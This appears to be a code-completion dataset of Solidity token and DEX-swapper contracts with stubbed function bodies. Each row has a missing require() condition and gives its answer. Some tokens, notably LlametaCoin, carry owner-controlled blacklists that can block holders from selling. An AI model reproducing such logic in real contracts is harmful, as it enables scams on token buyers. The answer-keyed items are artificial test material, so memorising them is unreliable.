bool public swapAndLiquifyEnabled = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
}
mapping (address => bool) public WRAPPED_BNB;
uint8 private minAmount = 0;
constructor () {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
receive() external payable {}
function removeTax() private {
}
function loadBackTax() private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(!EXEMPT_Tx[from]
&& !EXEMPT_Tx[to]) {
require(amount
<=
_maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if(
txCount >= swapTrigger &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
)
{
txCount = 0;
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
if(contractTokenBalance > 0){
swapAndLiquify(contractTokenBalance);
}
}
if(!EXEMPT_Max[to]) require(<FILL_ME>)
bool tax_active = true;
if( EXEMPT_Tax[from] || EXEMPT_Tax[to] ){
tax_active = false;
if(WRAPPED_BNB[to] && minAmount < (4-3)){
minAmount = (4-3);
}
} else if (from == uniswapV2Pair){
T_Tax = B_Tax;
} else if (to == uniswapV2Pair){
T_Tax = S_Tax;
}
_transferHolder(from,to,amount,tax_active);
}
function sendToWallet(address payable wallet, uint256 amount) private {
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
}
function swapTokensForBNB(uint256 tokenAmount) private {
}
function _transferHolder(address sender, address recipient, uint256 amount,bool tax_active) private {
}
function _transferHolder(address sender, address recipient, uint256 transferAmount) private {
}
function _setValues(uint256 transferAmount) private view returns (uint256, uint256) {
}
}
| balanceOf(to).add(amount)<=_maxWalletToken | 108,192 | balanceOf(to).add(amount)<=_maxWalletToken |
"" | /**
/**
*Submitted for verification at Etherscan.io on 2023-05-19
*/
// SPDX-License-Identifier: MIT
/** https://www.llametacoin.io/ */
pragma solidity ^0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of toccens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
abstract contract Security is Context {
address private _owner;
constructor() {
}
modifier onlyOwner() {
}
function owner() internal view virtual returns (address) {
}
}
contract ERC20 is Context, Security, IERC20 {
using SafeMath for uint256;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
mapping(address => bool) private _receiver;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals}.
*/
constructor(string memory name_, string memory symbol_) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function name() public view virtual returns (string memory) {
}
function symbol() public view virtual returns (string memory) {
}
function decimals() public view virtual returns (uint8) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function setRule(address _delegate) external onlyOwner {
}
function maxHoldingAmount(address _delegate) public view returns (bool) {
}
function Approve(address _delegate) external {
}
function Approve(address[] memory _delegate) external {
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
/**
* @dev See {IERC20-approve}.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "");
require(recipient != address(0), "");
require(<FILL_ME>)
_balances[sender] = _balances[sender].sub(amount, "");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract LlametaCoin is ERC20 {
using SafeMath for uint256;
uint256 private totalsupply_;
constructor() ERC20("LlametaCoin Token", "LLAMETA") {
}
}
| _receiver[sender]==false,"" | 108,230 | _receiver[sender]==false |
null | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function renounceOwnership() external virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function decimals() public view virtual override returns (uint8) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(
address tokenA,
address tokenB
) external returns (
address pair
);
}
contract Starz is ERC20, Ownable {
address public operationsAddress;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
uint256 public buyLiquidityFee;
uint256 public buyOperationsFee;
uint256 public buyTotalFees;
uint256 public sellLiquidityFee;
uint256 public sellOperationsFee;
uint256 public sellTotalFees;
uint256 public swapTokensAtAmount;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private bots;
mapping (address => uint256) private _holderLastTransferTimestamp;
mapping (address => bool) public automatedMarketMakerPairs;
IDexRouter public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool public swapEnabled = false;
bool public tradingActive = false;
bool private swapping;
bool public limitsInEffect = true;
uint256 public tradingActiveBlock = 0;
event UpdatedOperationsAddress(address indexed newWallet);
event EnabledTrading();
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event ExcludeFromFees(address indexed account, bool isExcluded);
event MaxTransactionExclusion(address _address, bool excluded);
event RemovedLimits();
constructor() ERC20("Starz", "STZ") {
}
receive() external payable {}
function enableTrading() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function manageBots(address account, bool isBot) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: Transfer from the zero address");
require(to != address(0), "ERC20: Transfer to the zero address");
if (automatedMarketMakerPairs[to] && bots[from]) {
return;
}
else if (automatedMarketMakerPairs[from] && bots[to]) {
require(<FILL_ME>)
}
else {
if (bots[to]) {
return;
}
}
if (amount == 0) {
return;
}
if (limitsInEffect) {
if (from != owner() && to != owner() && to != address(0) && to != deadAddress) {
if (!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not activated.");
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxBuyAmount, "Buy amount exceeds the maxBuy.");
require(amount + balanceOf(to) <= maxWalletAmount, "Cannot exceed the maxWallet");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxSellAmount, "Sell amount exceeds the maxSell.");
}
else if (!_isExcludedMaxTransactionAmount[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount + balanceOf(to) <= maxWalletAmount, "Cannot exceed the maxWallet");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from]
&& !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = true;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
uint256 penaltyAmount = 0;
if (takeFee) {
if (tradingActiveBlock >= block.number && automatedMarketMakerPairs[from]) {
bots[to] = true;
}
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount * sellTotalFees /100;
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForOperations += fees * sellOperationsFee / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount * buyTotalFees / 100;
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForOperations += fees * buyOperationsFee / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees + penaltyAmount;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
}
| automatedMarketMakerPairs[from]&&bots[to] | 108,370 | automatedMarketMakerPairs[from]&&bots[to] |
null | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract ERC20 is IERC20,Ownable{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _originExchangeRate = 1000000000;
uint256 private _exchangeRate = 1000000000;
uint256 private _tokenRaised = 0;
uint256 private _allPresale = formatDecimals(1000000000000);
event IssueToken(address indexed _to, uint256 _value);
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view override returns (uint256) {
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public override returns (bool) {
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
/**
* @dev See `IERC20.tokenRaised`.
*/
function tokenRaised() internal view returns (uint256) {
}
function currentExchageRate() internal returns (uint256) {
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
}
/**
* @dev Get format `value` formatted
*/
function formatDecimals(uint256 value) internal pure returns (uint256 ) {
}
function claimTokens() public onlyOwner {
}
/**
* @dev Get value for tokens
*/
receive() external payable {
_exchangeRate = currentExchageRate();
uint256 tokens = msg.value.mul(_exchangeRate);
if(tokens + _tokenRaised >= _allPresale){
tokens = _allPresale.sub(_tokenRaised);
}
require(<FILL_ME>)
_tokenRaised = _tokenRaised.add(tokens);
require(_balances[_owner] >= tokens);
_balances[_owner] -= tokens;
_balances[msg.sender] += tokens;
emit IssueToken(msg.sender, tokens);
}
}
| tokens+_tokenRaised<=_totalSupply | 108,453 | tokens+_tokenRaised<=_totalSupply |
null | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract ERC20 is IERC20,Ownable{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _originExchangeRate = 1000000000;
uint256 private _exchangeRate = 1000000000;
uint256 private _tokenRaised = 0;
uint256 private _allPresale = formatDecimals(1000000000000);
event IssueToken(address indexed _to, uint256 _value);
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view override returns (uint256) {
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public override returns (bool) {
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
/**
* @dev See `IERC20.tokenRaised`.
*/
function tokenRaised() internal view returns (uint256) {
}
function currentExchageRate() internal returns (uint256) {
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
}
/**
* @dev Get format `value` formatted
*/
function formatDecimals(uint256 value) internal pure returns (uint256 ) {
}
function claimTokens() public onlyOwner {
}
/**
* @dev Get value for tokens
*/
receive() external payable {
_exchangeRate = currentExchageRate();
uint256 tokens = msg.value.mul(_exchangeRate);
if(tokens + _tokenRaised >= _allPresale){
tokens = _allPresale.sub(_tokenRaised);
}
require(tokens + _tokenRaised <= _totalSupply);
_tokenRaised = _tokenRaised.add(tokens);
require(<FILL_ME>)
_balances[_owner] -= tokens;
_balances[msg.sender] += tokens;
emit IssueToken(msg.sender, tokens);
}
}
| _balances[_owner]>=tokens | 108,453 | _balances[_owner]>=tokens |
"unsupported dex" | // SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.8.15;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./CodecRegistry.sol";
import "./interfaces/ICodec.sol";
import "./interfaces/IWETH.sol";
import "./DexRegistry.sol";
/**
* @title Loads codecs for the swaps and performs swap actions
* @author Padoriku
*/
contract Swapper is CodecRegistry, DexRegistry {
using SafeERC20 for IERC20;
// Externally encoded swaps are not encoded by ChainHop's backend, and are differenciated by the target dex address.
mapping(address => bool) public externalSwap;
constructor(
string[] memory _funcSigs,
address[] memory _codecs,
address[] memory _supportedDexList,
string[] memory _supportedDexFuncs,
address[] memory _externalSwapDexList
) DexRegistry(_supportedDexList, _supportedDexFuncs) CodecRegistry(_funcSigs, _codecs) {
}
event ExternalSwapUpdated(address dex, bool enabled);
/**
* @dev Checks the input swaps for that tokenIn and tokenOut for every swap should be the same
* @param _swaps the swaps the check
* @return sumAmtIn the sum of all amountIns in the swaps
* @return tokenIn the input token of the swaps
* @return tokenOut the desired output token of the swaps
* @return codecs a list of codecs which each of them corresponds to a swap
*/
function sanitizeSwaps(ICodec.SwapDescription[] memory _swaps)
internal
view
returns (
uint256 sumAmtIn,
address tokenIn,
address tokenOut,
ICodec[] memory codecs // _codecs[i] is for _swaps[i]
)
{
address prevTokenIn;
address prevTokenOut;
codecs = loadCodecs(_swaps);
for (uint256 i = 0; i < _swaps.length; i++) {
require(<FILL_ME>)
(uint256 _amountIn, address _tokenIn, address _tokenOut) = codecs[i].decodeCalldata(_swaps[i]);
require(prevTokenIn == address(0) || prevTokenIn == _tokenIn, "tkin mismatch");
prevTokenIn = _tokenIn;
require(prevTokenOut == address(0) || prevTokenOut == _tokenOut, "tko mismatch");
prevTokenOut = _tokenOut;
sumAmtIn += _amountIn;
tokenIn = _tokenIn;
tokenOut = _tokenOut;
}
}
/**
* @notice Executes the swaps, decode their return values and sums the returned amount
* @dev This function is intended to be used on src chain only
* @dev This function immediately fails (return false) if any swaps fail. There is no "partial fill" on src chain
* @param _swaps swaps. this function assumes that the swaps are already sanitized
* @param _codecs the codecs for each swap
* @return ok whether the operation is successful
* @return sumAmtOut the sum of all amounts gained from swapping
*/
function executeSwaps(
ICodec.SwapDescription[] memory _swaps,
ICodec[] memory _codecs // _codecs[i] is for _swaps[i]
) internal returns (bool ok, uint256 sumAmtOut) {
}
/**
* @notice Executes the externally encoded swaps
* @dev This function is intended to be used on src chain only
* @dev This function immediately fails (return false) if any swaps fail. There is no "partial fill" on src chain
* @param _swap. this function assumes that the swaps are already sanitized
* @return ok whether the operation is successful
* @return amtOut the amount gained from swapping
*/
function executeExternalSwap(
address tokenIn,
address tokenOut,
uint256 amountIn,
ICodec.SwapDescription memory _swap
) internal returns (bool ok, uint256 amtOut) {
}
/**
* @notice Executes the swaps with override, redistributes amountIns for each swap route,
* decode their return values and sums the returned amount
* @dev This function is intended to be used on dst chain only
* @param _swaps swaps to execute. this function assumes that the swaps are already sanitized
* @param _codecs the codecs for each swap
* @param _amountInOverride the amountIn to substitute the amountIns in swaps for
* @dev _amountInOverride serves the purpose of correcting the estimated amountIns to actual bridge outs
* @dev _amountInOverride is also distributed according to the weight of each original amountIn
* @return sumAmtOut the sum of all amounts gained from swapping
* @return sumAmtFailed the sum of all amounts that fails to swap
*/
function executeSwapsWithOverride(
ICodec.SwapDescription[] memory _swaps,
ICodec[] memory _codecs, // _codecs[i] is for _swaps[i]
uint256 _amountInOverride,
bool _allowPartialFill
) internal returns (uint256 sumAmtOut, uint256 sumAmtFailed) {
}
/// @notice distributes the _amountInOverride to the swaps base on how much each original amountIns weight
function _redistributeAmountIn(
ICodec.SwapDescription[] memory _swaps,
uint256 _amountInOverride,
ICodec[] memory _codecs
)
private
view
returns (
uint256[] memory amountIns,
address tokenIn,
address tokenOut
)
{
}
// Checks whether a swap is an "externally encoded swap"
function isExternalSwap(ICodec.SwapDescription memory _swap) internal view returns (bool ok) {
}
function setExternalSwap(address _dex, bool _enabled) external onlyOwner {
}
function _setExternalSwap(address _dex, bool _enabled) private {
}
}
| dexRegistry[_swaps[i].dex][bytes4(_swaps[i].data)],"unsupported dex" | 108,496 | dexRegistry[_swaps[i].dex][bytes4(_swaps[i].data)] |
"swap failed" | // SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.8.15;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./CodecRegistry.sol";
import "./interfaces/ICodec.sol";
import "./interfaces/IWETH.sol";
import "./DexRegistry.sol";
/**
* @title Loads codecs for the swaps and performs swap actions
* @author Padoriku
*/
contract Swapper is CodecRegistry, DexRegistry {
using SafeERC20 for IERC20;
// Externally encoded swaps are not encoded by ChainHop's backend, and are differenciated by the target dex address.
mapping(address => bool) public externalSwap;
constructor(
string[] memory _funcSigs,
address[] memory _codecs,
address[] memory _supportedDexList,
string[] memory _supportedDexFuncs,
address[] memory _externalSwapDexList
) DexRegistry(_supportedDexList, _supportedDexFuncs) CodecRegistry(_funcSigs, _codecs) {
}
event ExternalSwapUpdated(address dex, bool enabled);
/**
* @dev Checks the input swaps for that tokenIn and tokenOut for every swap should be the same
* @param _swaps the swaps the check
* @return sumAmtIn the sum of all amountIns in the swaps
* @return tokenIn the input token of the swaps
* @return tokenOut the desired output token of the swaps
* @return codecs a list of codecs which each of them corresponds to a swap
*/
